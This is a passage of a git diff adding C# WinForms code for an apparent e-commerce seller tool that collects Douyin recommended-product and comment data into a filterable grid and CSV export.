System.Windows.Forms.FlatStyle.Flat; + this.btnCollect.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCollect.ForeColor = System.Drawing.Color.White; + this.btnCollect.Location = new System.Drawing.Point(720, 52); + this.btnCollect.Margin = new System.Windows.Forms.Padding(2); + this.btnCollect.Name = "btnCollect"; + this.btnCollect.Size = new System.Drawing.Size(66, 26); + this.btnCollect.TabIndex = 374; + this.btnCollect.Text = "开始采集"; + this.btnCollect.UseVisualStyleBackColor = false; + this.btnCollect.Click += new System.EventHandler(this.btnCollect_Click); + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.label4); + this.ucGroupBoxEx2.Controls.Add(this.label3); + this.ucGroupBoxEx2.Controls.Add(this.txtRateMax); + this.ucGroupBoxEx2.Controls.Add(this.label1); + this.ucGroupBoxEx2.Controls.Add(this.txtRateMin); + this.ucGroupBoxEx2.Controls.Add(this.label2); + this.ucGroupBoxEx2.Controls.Add(this.txtCommentCountMax); + this.ucGroupBoxEx2.Controls.Add(this.label9); + this.ucGroupBoxEx2.Controls.Add(this.txtTotalPage); + this.ucGroupBoxEx2.Controls.Add(this.label10); + this.ucGroupBoxEx2.Controls.Add(this.txtCommentCountMin); + this.ucGroupBoxEx2.Controls.Add(this.label12); + this.ucGroupBoxEx2.Controls.Add(this.txtSellCountMax); + this.ucGroupBoxEx2.Controls.Add(this.txtPriceMax); + this.ucGroupBoxEx2.Controls.Add(this.label13); + this.ucGroupBoxEx2.Controls.Add(this.txtPriceMin); + this.ucGroupBoxEx2.Controls.Add(this.label14); + this.ucGroupBoxEx2.Controls.Add(this.label15); + this.ucGroupBoxEx2.Controls.Add(this.txtSellCountMin); + this.ucGroupBoxEx2.Controls.Add(this.label16); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(231, 2); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(409, 120); + this.ucGroupBoxEx2.TabIndex = 395; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "采集参数"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(183, 58); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(19, 17); + this.label4.TabIndex = 401; + this.label4.Text = "%"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(115, 58); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(19, 17); + this.label3.TabIndex = 400; + this.label3.Text = "%"; + // + // txtRateMax + // + this.txtRateMax.Location = new System.Drawing.Point(139, 54); + this.txtRateMax.Name = "txtRateMax"; + this.txtRateMax.Size = new System.Drawing.Size(40, 23); + this.txtRateMax.TabIndex = 399; + this.txtRateMax.Text = "100"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(127, 57); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(13, 17); + this.label1.TabIndex = 398; + this.label1.Text = "-"; + // + // txtRateMin + // + this.txtRateMin.Location = new System.Drawing.Point(71, 54); + this.txtRateMin.Name = "txtRateMin"; + this.txtRateMin.Size = new System.Drawing.Size(40, 23); + this.txtRateMin.TabIndex = 396; + this.txtRateMin.Text = "0"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(14, 58); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(44, 17); + this.label2.TabIndex = 397; + this.label2.Text = "好评率"; + // + // txtCommentCountMax + // + this.txtCommentCountMax.Location = new System.Drawing.Point(335, 86); + this.txtCommentCountMax.Name = "txtCommentCountMax"; + this.txtCommentCountMax.Size = new System.Drawing.Size(55, 23); + this.txtCommentCountMax.TabIndex = 391; + this.txtCommentCountMax.Text = "99999999"; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(323, 89); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(13, 17); + this.label9.TabIndex = 390; + this.label9.Text = "-"; + // + // txtTotalPage + // + this.txtTotalPage.Location = new System.Drawing.Point(71, 22); + this.txtTotalPage.Name = "txtTotalPage"; + this.txtTotalPage.Size = new System.Drawing.Size(123, 23); + this.txtTotalPage.TabIndex = 376; + this.txtTotalPage.Text = "5"; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(210, 90); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(56, 17); + this.label10.TabIndex = 389; + this.label10.Text = "评论数量"; + // + // txtCommentCountMin + // + this.txtCommentCountMin.Location = new System.Drawing.Point(267, 86); + this.txtCommentCountMin.Name = "txtCommentCountMin"; + this.txtCommentCountMin.Size = new System.Drawing.Size(55, 23); + this.txtCommentCountMin.TabIndex = 388; + this.txtCommentCountMin.Text = "0"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(13, 26); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(56, 17); + this.label12.TabIndex = 378; + this.label12.Text = "采集页数"; + // + // txtSellCountMax + // + this.txtSellCountMax.Location = new System.Drawing.Point(335, 54); + this.txtSellCountMax.Name = "txtSellCountMax"; + this.txtSellCountMax.Size = new System.Drawing.Size(55, 23); + this.txtSellCountMax.TabIndex = 387; + this.txtSellCountMax.Text = "99999999"; + // + // txtPriceMax + // + this.txtPriceMax.Location = new System.Drawing.Point(335, 22); + this.txtPriceMax.Name = "txtPriceMax"; + this.txtPriceMax.Size = new System.Drawing.Size(55, 23); + this.txtPriceMax.TabIndex = 383; + this.txtPriceMax.Text = "99999999"; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(323, 57); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(13, 17); + this.label13.TabIndex = 386; + this.label13.Text = "-"; + // + // txtPriceMin + // + this.txtPriceMin.Location = new System.Drawing.Point(267, 22); + this.txtPriceMin.Name = "txtPriceMin"; + this.txtPriceMin.Size = new System.Drawing.Size(55, 23); + this.txtPriceMin.TabIndex = 379; + this.txtPriceMin.Text = "0"; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(210, 58); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(56, 17); + this.label14.TabIndex = 385; + this.label14.Text = "宝贝销量"; + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(210, 26); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(56, 17); + this.label15.TabIndex = 380; + this.label15.Text = "宝贝价格"; + // + // txtSellCountMin + // + this.txtSellCountMin.Location = new System.Drawing.Point(267, 54); + this.txtSellCountMin.Name = "txtSellCountMin"; + this.txtSellCountMin.Size = new System.Drawing.Size(55, 23); + this.txtSellCountMin.TabIndex = 384; + this.txtSellCountMin.Text = "0"; + // + // label16 + // + this.label16.AutoSize = true; + this.label16.Location = new System.Drawing.Point(323, 25); + this.label16.Name = "label16"; + this.label16.Size = new System.Drawing.Size(13, 17); + this.label16.TabIndex = 382; + this.label16.Text = "-"; + // + // dgvCollect + // + this.dgvCollect.AllowUserToAddRows = false; + this.dgvCollect.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvCollect.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvCollect.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvCollect.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvCollect.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvCollect.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colProductId, + this.colProductName, + this.colImage, + this.colPrice, + this.colSaleCount, + this.colCommentCount, + this.colRate, + this.colDelete}); + this.dgvCollect.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvCollect.Location = new System.Drawing.Point(5, 0); + this.dgvCollect.Name = "dgvCollect"; + this.dgvCollect.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvCollect.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvCollect.RowTemplate.Height = 23; + this.dgvCollect.Size = new System.Drawing.Size(790, 296); + this.dgvCollect.TabIndex = 6; + this.dgvCollect.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvCollect_CellContentClick); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Visible = false; + this.colSelect.Width = 41; + // + // colProductId + // + this.colProductId.HeaderText = "商品Id"; + this.colProductId.Name = "colProductId"; + this.colProductId.ReadOnly = true; + this.colProductId.Width = 150; + // + // colProductName + // + this.colProductName.HeaderText = "商品名称"; + this.colProductName.Name = "colProductName"; + this.colProductName.ReadOnly = true; + this.colProductName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colProductName.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colProductName.Width = 350; + // + // colImage + // + this.colImage.HeaderText = "图片"; + this.colImage.Name = "colImage"; + this.colImage.ReadOnly = true; + this.colImage.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colImage.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colImage.Visible = false; + this.colImage.Width = 70; + // + // colPrice + // + this.colPrice.HeaderText = "价格"; + this.colPrice.Name = "colPrice"; + this.colPrice.ReadOnly = true; + this.colPrice.Width = 80; + // + // colSaleCount + // + this.colSaleCount.HeaderText = "销量"; + this.colSaleCount.Name = "colSaleCount"; + this.colSaleCount.ReadOnly = true; + // + // colCommentCount + // + this.colCommentCount.HeaderText = "评论数量"; + this.colCommentCount.Name = "colCommentCount"; + this.colCommentCount.ReadOnly = true; + // + // colRate + // + this.colRate.HeaderText = "好评率"; + this.colRate.Name = "colRate"; + this.colRate.ReadOnly = true; + this.colRate.Width = 80; + // + // colDelete + // + this.colDelete.HeaderText = "删除"; + this.colDelete.Name = "colDelete"; + this.colDelete.ReadOnly = true; + this.colDelete.Visible = false; + this.colDelete.Width = 81; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(800, 28); + this.statusBar.TabIndex = 3; + // + // CaiNiXiHuanCollectForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "CaiNiXiHuanCollectForm"; + this.Text = "CaiNiXiHuanCollectForm"; + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + this.ucGroupBoxEx1.ResumeLayout(false); + this.ucGroupBoxEx2.ResumeLayout(false); + this.ucGroupBoxEx2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvCollect)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private UserControls.ButtonEx btnExport; + private UserComponent.UcGroupBoxEx ucGroupBoxEx1; + private DevComponents.DotNetBar.Controls.TextBoxX txtKeyWords; + private UserControls.ButtonEx btnLoginDouyin; + private UserControls.ButtonEx btnCollect; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.TextBox txtRateMax; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox txtRateMin; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox txtCommentCountMax; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.TextBox txtTotalPage; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.TextBox txtCommentCountMin; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.TextBox txtSellCountMax; + private System.Windows.Forms.TextBox txtPriceMax; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.TextBox txtPriceMin; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.Label label15; + private System.Windows.Forms.TextBox txtSellCountMin; + private System.Windows.Forms.Label label16; + private UserComponent.DataGridViewEx dgvCollect; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductId; + private System.Windows.Forms.DataGridViewLinkColumn colProductName; + private System.Windows.Forms.DataGridViewImageColumn colImage; + private System.Windows.Forms.DataGridViewTextBoxColumn colPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn colSaleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colCommentCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colRate; + private System.Windows.Forms.DataGridViewLinkColumn colDelete; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserControls.StatusBarUserControl statusBar; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/CollectForms/CaiNiXiHuanCollectForm.cs b/TEMUKJD/KJDForms/CollectForms/CaiNiXiHuanCollectForm.cs new file mode 100644 index 0000000..afeace2 --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/CaiNiXiHuanCollectForm.cs @@ -0,0 +1,326 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.ToolForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.CollectForms +{ + public partial class CaiNiXiHuanCollectForm : Form + { + decimal priceMin = 0; + decimal priceMax = 99999999; + long sellCountMin = 0; + long sellCountMax = 99999999; + long commentCountMin = 0; + long commentCountMax = 99999999; + int rateMin = 0; + int rateMax = 100; + List lstProduct = new List(); + CancellationTokenSource cancellationTokenSource = null; + + public CaiNiXiHuanCollectForm() + { + InitializeComponent(); + } + + private void btnCollect_Click(object sender, EventArgs e) + { + if (btnCollect.Text != "开始采集") + { + cancellationTokenSource.Cancel(); + } + else + { + var cookieShop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.LoginStatus == "登录成功"); + if (cookieShop == null) + { + BaseForms.BaseMsgForm.ShowError("请登录店铺账号后搜索"); + return; + } + + priceMin = this.txtPriceMin.Text.ParseToDecimal(); + priceMax = this.txtPriceMax.Text.ParseToDecimal(); + sellCountMin = this.txtSellCountMin.Text.ParseToLong(); + sellCountMax = this.txtSellCountMax.Text.ParseToLong(); + commentCountMin = this.txtCommentCountMin.Text.ParseToLong(); + commentCountMax = this.txtCommentCountMax.Text.ParseToLong(); + rateMin = this.txtRateMin.Text.ParseToInt(); + rateMax = this.txtRateMax.Text.ParseToInt(); + + int pageTotal = txtTotalPage.Text.ParseToInt(); + if (pageTotal < 1) + { + BaseForms.BaseMsgForm.ShowError("请至少查询一页以上数据"); + return; + } + var searchTextArr = this.txtKeyWords.Text.Split(new string[] { "\r", "\n", ",", " " }, StringSplitOptions.RemoveEmptyEntries); + if (searchTextArr.Length == 0) + { + searchTextArr = new string[] { "" }; + //BaseForms.BaseMsgForm.ShowError("请至少输入一个商品"); + //return; + } + lstProduct.Clear(); + this.dgvCollect.Rows.Clear(); + cancellationTokenSource = new CancellationTokenSource(); + int n = 0; + int total = searchTextArr.Count() * pageTotal; + this.statusBar.lblTaskStatus.Text = "开始采集..."; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + btnCollect.Text = "停止采集"; + + Task.Run(() => + { + if (!Directory.Exists("采集导出")) + Directory.CreateDirectory("采集导出"); + var exportFileName = "采集导出\\猜你喜欢采集" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".csv"; + StreamWriter writer = new StreamWriter(exportFileName, true, Encoding.GetEncoding("gb2312")); + object[] objArray1 = new object[] { "商品ID,", "商品名称,", "价格,", "销量,", "评论数,", "好评率" }; + writer.WriteLine(string.Concat(objArray1)); + writer.Close(); + + foreach (var searchText in searchTextArr) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var text = searchText; + if (text.ParseToLong() == 0) + text = BaseRegex.GetMatchRegexString(ref text, "(\\d{10,22})"); + for (int i = 1; i < pageTotal + 1; i++) + { + n++; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在采集商品" + text + "猜你喜欢,当前采集到第 " + i + " 页"; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + Thread.Sleep(Randomx.GetId(100, 500)); + int pageNum = i; + var cnxhResult = CollectCaiNiXiHuan(cookieShop.Cookies, text, pageNum.ToString()); + if (!string.IsNullOrEmpty(cnxhResult) && cnxhResult.Contains("\"status_code\":0")) + { + JObject jObj = JObject.Parse(cnxhResult); + if (jObj["item_cards"] == null) + return; + foreach (JObject pObj in jObj["item_cards"]) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var pStr = JsonHelper.SerializeObject(pObj); + var pId = BaseRegex.GetStringJson(ref pStr, "product_id"); + if (!string.IsNullOrEmpty(pId)) + { + DouGoodsCollectInfo prod = new DouGoodsCollectInfo(); + prod.Id = pId; + prod.GoodsName = BaseRegex.GetStringJson(ref pStr, "title"); + if (string.IsNullOrEmpty(prod.GoodsName)) + { + } + prod.Price = (BaseRegex.GetDecimalJson(ref pStr, "min_price") / 100).ToString(); + prod.Sales = BaseRegex.GetIntJson(ref pStr, "sales").ToString(); + + // 筛选条件 + if (prod.Price.ParseToDecimal() < this.priceMin || prod.Price.ParseToDecimal() > this.priceMax + || prod.Sales.ParseToDecimal() < this.sellCountMin || prod.Sales.ParseToDecimal() > this.sellCountMax) + continue; + + Thread.Sleep(Randomx.GetId(500, 1000)); + var commentResult = GetComments(GlobalConfig.DouUserCookies, prod.Id); + if (!string.IsNullOrEmpty(commentResult) && commentResult.Contains("\"status_code\":0")) + { + prod.CommentsCount = BaseRegex.GetIntJson(ref commentResult, "total_comments_num"); + prod.CommentsRate = BaseRegex.GetDecimalJson(ref commentResult, "good_comment_ratio").ParseToDouble() / 100; + } + + // 筛选条件 + if (prod.CommentsRate < this.rateMin || prod.CommentsRate > this.rateMax + || prod.CommentsCount < this.commentCountMin || prod.CommentsCount > this.commentCountMax) + continue; + + this.lstProduct.Add(prod); + + try + { + StreamWriter writer1 = new StreamWriter(exportFileName, true, Encoding.GetEncoding("gb2312")); + object[] objArray2 = new object[15]; + objArray2[1] = "https://haohuo.jinritemai.com/views/product/item2?id=" + prod.Id; + objArray2[2] = ","; + objArray2[3] = prod.GoodsName; + objArray2[4] = ","; + objArray2[5] = prod.Price; + objArray2[6] = ","; + objArray2[7] = prod.Sales; + objArray2[8] = ","; + objArray2[9] = prod.CommentsCount; + objArray2[10] = ","; + objArray2[11] = prod.CommentsRate; + writer1.WriteLine(string.Concat(objArray2)); + writer1.Close(); + } + catch (Exception ex) + { + } + Invoke(new Action(() => + { + var index = this.dgvCollect.Rows.Add(false, prod.Id, prod.GoodsName, null, prod.Price, prod.Sales, prod.CommentsCount, + prod.CommentsRate, "删除"); + })); + } + } + } + } + } + Invoke(new Action(() => + { + btnCollect.Text = "开始采集"; + this.statusBar.lblTaskStatus.Text = "采集结束,共采集到商品" + this.lstProduct.Count + "个"; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + }, cancellationTokenSource.Token); + } + } + + private string CollectCaiNiXiHuan(string cookies, string productId, string pageNum = "1", string cursor = "20") + { + HttpWebResponse response = null; + string result; + try + { + string url = "https://api5-normal-c-lf.amemv.com/aweme/v2/commerce/favorite/feed?app_name=aweme&channel=App%20Store&slide_guide_has_shown=1&minor_status=0&product_id=" + + productId + "&page_num=" + pageNum + "&cursor=" + cursor + "&page_name=product_detail&feedbacks=&count=20&filters=&filter_type="; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.ContentType = "application/x-www-form-urlencoded"; + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"; + request.Headers.Set(HttpRequestHeader.Cookie, cookies); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException ex) + { + if (ex.Status == WebExceptionStatus.ProtocolError) + { + response = (HttpWebResponse)ex.Response; + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + else return ex.Message; + } + catch (Exception e) + { + if (response != null) response.Close(); + return e.Message; + } + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + + public static string GetComments(string cookies, string productId) + { + HttpWebResponse response = null; + string result; + try + { + string url = "http://lianmengapi.snssdk.com/ies/v2/decision/getProductComments?product_id=" + productId + "&aid=1128"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.ContentType = "application/x-www-form-urlencoded"; + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.177"; + request.Headers.Set(HttpRequestHeader.Cookie, cookies); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException ex) + { + if (ex.Status == WebExceptionStatus.ProtocolError) + { + response = (HttpWebResponse)ex.Response; + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + else return ex.Message; + } + catch (Exception e) + { + if (response != null) response.Close(); + return e.Message; + } + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + + private void btnLoginDouyin_Click(object sender, EventArgs e) + { + DouUserLoginForm dForm = new DouUserLoginForm(); + dForm.ShowDialog(); + } + + private void btnExport_Click(object sender, EventArgs e) + { + try + { + SaveFileDialog saveFileDialog1 = new SaveFileDialog(); + saveFileDialog1.Filter = "表格文件(*.csv)|*.csv"; + saveFileDialog1.FileName = "猜你喜欢采集" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".csv"; + saveFileDialog1.FilterIndex = 2; + saveFileDialog1.RestoreDirectory = true; + if (saveFileDialog1.ShowDialog() == DialogResult.OK) + { + StringBuilder sb = new StringBuilder(); + sb.AppendLine("商品ID," + "商品名称," + "价格," + "销量," + "评论数," + "好评率"); + foreach (var goodsInfo in lstProduct) + { + sb.AppendLine("https://haohuo.jinritemai.com/views/product/item2?id=" + goodsInfo.Id + "," + goodsInfo.GoodsName + "," + + goodsInfo.Price + "," + goodsInfo.Sales + "," + goodsInfo.CommentsCount + "," + goodsInfo.CommentsRate); + } + System.IO.File.WriteAllText(saveFileDialog1.FileName, sb.ToString(), Encoding.Default); + BaseForms.BaseMsgForm.ShowInfo("导出成功"); + } + } + catch (Exception ex) + { + BaseForms.BaseMsgForm.ShowError(ex.Message); + } + } + + private void dgvCollect_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex < 0 || e.ColumnIndex < 0) + return; + + var goodsId = dgvCollect.Rows[e.RowIndex].Cells["colProductId"].Value.ToString(); + var columnName = dgvCollect.Columns[e.ColumnIndex].Name; + if (columnName == "colProductName") + { + string url = "https://haohuo.jinritemai.com/views/product/item2?id=" + goodsId; + GetHtml.OpenUrl(url); + } + } + } +} diff --git a/TEMUKJD/KJDForms/CollectForms/CaiNiXiHuanCollectForm.resx b/TEMUKJD/KJDForms/CollectForms/CaiNiXiHuanCollectForm.resx new file mode 100644 index 0000000..6906e68 --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/CaiNiXiHuanCollectForm.resx @@ -0,0 +1,147 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/CollectForms/CollectForm.Designer.cs b/TEMUKJD/KJDForms/CollectForms/CollectForm.Designer.cs new file mode 100644 index 0000000..88bb31c --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/CollectForm.Designer.cs @@ -0,0 +1,180 @@ +namespace LittleRabbit.LittleRabbitForms.CollectForms +{ + partial class CollectForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.TreeNode treeNode1 = new System.Windows.Forms.TreeNode("好物采集"); + System.Windows.Forms.TreeNode treeNode2 = new System.Windows.Forms.TreeNode("同行采集"); + System.Windows.Forms.TreeNode treeNode3 = new System.Windows.Forms.TreeNode("整店采集"); + System.Windows.Forms.TreeNode treeNode4 = new System.Windows.Forms.TreeNode("猜你喜欢采集"); + System.Windows.Forms.TreeNode treeNode5 = new System.Windows.Forms.TreeNode("关键词采集"); + System.Windows.Forms.TreeNode treeNode6 = new System.Windows.Forms.TreeNode("采集商品", new System.Windows.Forms.TreeNode[] { + treeNode1, + treeNode2, + treeNode3, + treeNode4, + treeNode5}); + this.panel1 = new System.Windows.Forms.Panel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.panel2 = new System.Windows.Forms.Panel(); + this.lblName = new System.Windows.Forms.Label(); + this.tv = new LittleRabbit.UserComponent.UcTreeView(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.panel1.SuspendLayout(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.panel3); + this.panel1.Controls.Add(this.panel2); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(659, 450); + this.panel1.TabIndex = 4; + // + // panel3 + // + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(0, 28); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(659, 422); + this.panel3.TabIndex = 1; + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.panel2.Controls.Add(this.lblName); + this.panel2.Dock = System.Windows.Forms.DockStyle.Top; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(659, 28); + this.panel2.TabIndex = 0; + // + // lblName + // + this.lblName.AutoSize = true; + this.lblName.Location = new 